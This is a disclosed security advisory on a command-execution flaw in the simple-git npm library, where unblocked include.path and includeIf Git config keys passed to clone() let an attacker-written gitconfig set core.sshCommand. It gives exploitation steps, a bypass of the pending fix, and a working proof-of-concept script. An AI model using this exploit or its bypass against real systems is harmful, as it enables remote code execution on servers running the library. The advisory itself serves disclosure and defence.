# simple-git allows command execution through unblocked Git configuration includes

simple-git's blockUnsafeOperationsPlugin denylist omits include.path/includeIf, so attacker-supplied `-c include.path=<file>` in clone() customArgs loads a gitconfig setting core.sshCommand and executes code.

- Payout: Research
- Severity: high
- Program: simple-git
- Found by: bhaswanthc, NotAFlightRisk, lissy93
- Disclosed: 2026-10-05
- CVE: CVE-2026-102826
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-g4wm-2vf7-vfgr
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-g4wm-2vf7-vfgr
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:command-injection vuln:rce

**Target:** npm library simple-git clone()/mirror() customArgs argv handling
**Root cause:** The blockUnsafeOperationsPlugin denylist of dangerous git config keys lacks include.path and includeIf.<cond>.path, so `-c` config writes that load arbitrary gitconfig files pass the argv parser unchecked; the pending fix's regex /\s*include.path/ also fails to match conditional includeIf keys.
**Steps:**
1. Write attacker gitconfig to a readable path: `[core]\nsshCommand = "/bin/sh -c 'id > /tmp/sg-id; touch /tmp/sg-pwned'"\n`
2. Call `git.clone('ssh://nonexistent.example.com/repo.git', '/tmp/sg-rce-dst', ['-c', 'include.path=/tmp/sg-attacker.cfg'])`
3. cloneTask assembles `['clone','-c','include.path=...', url, dst]`; blockUnsafeOperationsPlugin's detectVulnerableConfigWrites finds no denylist match and permits it
4. suffixPathsPlugin reorders to `git clone -c <payload> -- ssh://target.example/repo.git /tmp/dst`; clone honours its own -c, loads the include, registers core.sshCommand
5. Git invokes ssh via the configured command, running the shell payload in the simple-git process context; read /tmp/sg-id
6. Variant surviving PR #1167: use `-c includeIf.gitdir:.path=/tmp/sg-attacker.cfg` since /\s*include.path/ cannot match the longer conditional key
**How found:** Noticed the denylist class had a prior incomplete-fix chain (CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860, CVE-2026-28291, CVE-2026-28292) and checked whether git's include/includeIf config keys were covered; grepped source and advisories, found neither referenced. Then read preventConfigBuilder and saw it builds a non-anchored regex from the literal string, so `.` is a wildcard and the 11-character match window cannot align and the test returns false for the longer `includeIf.<cond>.path` keys.
**Exploitation:** Precondition: attacker can write one file readable by the simple-git process (upload, shared /tmp, CI artifact, log poisoning) and influence customArgs of clone()/mirror(). The crafted `-c include.path=<file>` (or includeIf variant) is placed after the clone subcommand, which is the only git subcommand honouring -c there; git loads the file as gitconfig, sets core.sshCommand, and executes the attacker's shell command during the clone's ssh invocation. Secondary surface: git.env({HOME:'/tmp/fake-home'}) since HOME/XDG_CONFIG_HOME are not stripped by parseEnv.
**Escalation:** Chains a separate file-write primitive with customArgs influence; in co-located cases (single-request upload+clone, multi-tenant runners) becomes unauthenticated pre-auth RCE rated 9.8. Conditional includeIf form survives the pending PR #1167 fix.
**Insight:** When a denylist entry is turned into a regex via `new RegExp(string)`, dots become wildcards and the match is unanchored — but more importantly the key namespace has variants (includeIf.<cond>.path) longer than the literal, so test the regex against every syntactic form the parser accepts, not just the canonical spelling. Also check which git subcommands honour `-c` after the subcommand (clone does, fetch/pull/push don't).

## Proof of concept (copied exactly from the original report)

**PoC script cloning with include.path payload**

```
const { simpleGit } = require('simple-git');
const fs = require('fs');

fs.writeFileSync('/tmp/sg-attacker.cfg',
   `[core]\nsshCommand = "/bin/sh -c 'id > /tmp/sg-id; touch /tmp/sg-pwned'"\n`);

const git = simpleGit({ baseDir: '/tmp' });

(async () => {
   // Sink A: plain include.path works on published 3.36.0 (no denylist entry).
   // Swap to 'includeIf.gitdir:.path=...' to demonstrate Sink B against PR #1167.
   const payload = 'include.path=/tmp/sg-attacker.cfg';

   try {
      await git.clone(
         'ssh://nonexistent.example.com/repo.git',
         '/tmp/sg-rce-dst',
         ['-c', payload]
      );
   } catch (_) { /* clone fails after sshCommand has already run */ }

   await new Promise(r => setTimeout(r, 500));
   console.log(fs.readFileSync('/tmp/sg-id', 'utf8'));
```

**Regex test showing includeIf bypass**

```
/\s*include.path/.test('include.path')                    // true
/\s*include.path/.test('includeif.gitdir:.path')          // false
/\s*include.path/.test('includeif.onbranch:main.path')    // false
```

